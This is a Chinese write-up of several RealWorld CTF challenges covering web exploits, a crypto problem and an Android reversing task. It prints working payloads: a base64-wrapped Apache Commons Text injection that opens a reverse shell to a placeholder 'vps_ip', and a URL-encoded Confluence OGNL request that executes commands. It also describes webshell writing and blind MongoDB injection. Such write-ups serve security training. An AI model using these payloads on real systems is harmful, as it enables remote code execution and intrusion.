长亭百川云 - 文章详情

RealWorld CTF(体验赛)部分WP

Red0

72

2024-07-13

0x1 羊了拼羊

签到题。js代码搜索ctf找到flag

0x2 Evil Mysql Server

Mysql恶意服务器读取文件的漏洞。可构建一个恶意的myql服务器读取靶机上的/flag文件。在github找到注册恶意mysql服务器的脚本,修改脚本中读取的文件为/flag。

#!/usr/bin/env python

在vps上开启恶意mysql服务器,在web页面填写恶意服务器地址,在vps的mysql.log即可读取flag。

0x3 Be-a-Language-Expert

thinkphp6 多语言文件包含漏洞。

写入webshell

蚁剑连接

readflag

0x4 Apache Commons Text

Apache Commons Text远程代码执行漏洞。通过分析可知,后端做了一些黑名单策略。不允许出现script、file等字符串。

base64函数可用,编码后能被执行,但无回显

${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImxzIikudG9TdHJpbmcoKX0=}

对如下payload进行base64加密:

${script:js:java.lang.Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/vps_ip/2333 0>&1")}

反弹shell成功

readflag 

0x5 Yummy Api

默认账号密码 admin@admin.com/ymfe.org。先尝试了一下添加接口高级Mock脚本命令执行,没成功。

尝试mongodb注入获取token,从而实现vm逃逸。

先盲注获得token:

import requests

得到token为8fa743801266b2391d16。

aes192加密token得到uidtoken,遍历id发现id=11时有数据

写脚本获取加密后的uidtoken

const crypto = require('crypto');

得到加密后的token为:

043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc

接着上传vm逃逸脚本

import requests

最后触发漏洞得到flag

import requests

0x6 Be-a-Wiki-Hacker

Atlassian Confluence远程代码执行漏洞

payload如下:

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/flag%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1

0x7 babycurve

本题为椭圆曲线求解问题。当u=w时,3*u*w + 4*u + 1 = 3u^2 + 4u + 1,从而可以知道椭圆曲线公式为:y^2 = x^3 + 2x^2 + x + C,带入点(4,10),可得C=0,即椭圆曲线公式为:y^2 = x^3 + 2x^2 + x = x(x^2+2x+1) = x(x+1)^2,为奇异椭圆曲线,根据其性质,可将奇异椭圆曲线上的点构成的群映射到有限域上的乘法群中。

在github找了一个现成的脚本,将点P(4,10)和加密后的点Q映射到有限域上的数mapP、mapQ,从而将椭圆曲线求解转化为有限域上的离散对数求解,使用sage可解得x。

p = 193387944202565886198256260591909756041

用求出的x解密发现flag乱码,考虑到可能存在多解情况,尝试不同的x进行AES解密,最后得到flag。

#!/usr/bin/env python3

0x8 Snake

使用jeb逆向分析发现本程序为贪吃蛇游戏,蛇的每一截身体都是一个从资源列表中选取的png图像。一开始为随机图像,蛇超过一定长度后开始新增固定图像。固定图像共22个,每次从17个图像中选取(b0.png~b16.png,为17个ASCII字符的图像)。

所选图像的下标通过一段brainfuck代码计算得到,brainfuck关键代码如下:

该brainfuck代码将'['、']'和'<'、'>'字符的含义进行了交换。模拟执行该代码得到23个数,根据程序逻辑去掉第一个,剩下的22个即为下标,以此选取对应的字母图像,组合得到的字符串,再以rwctf{}包上即为flag:rwctf{K33PG01NGD0N0TG1V3UPPP}。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2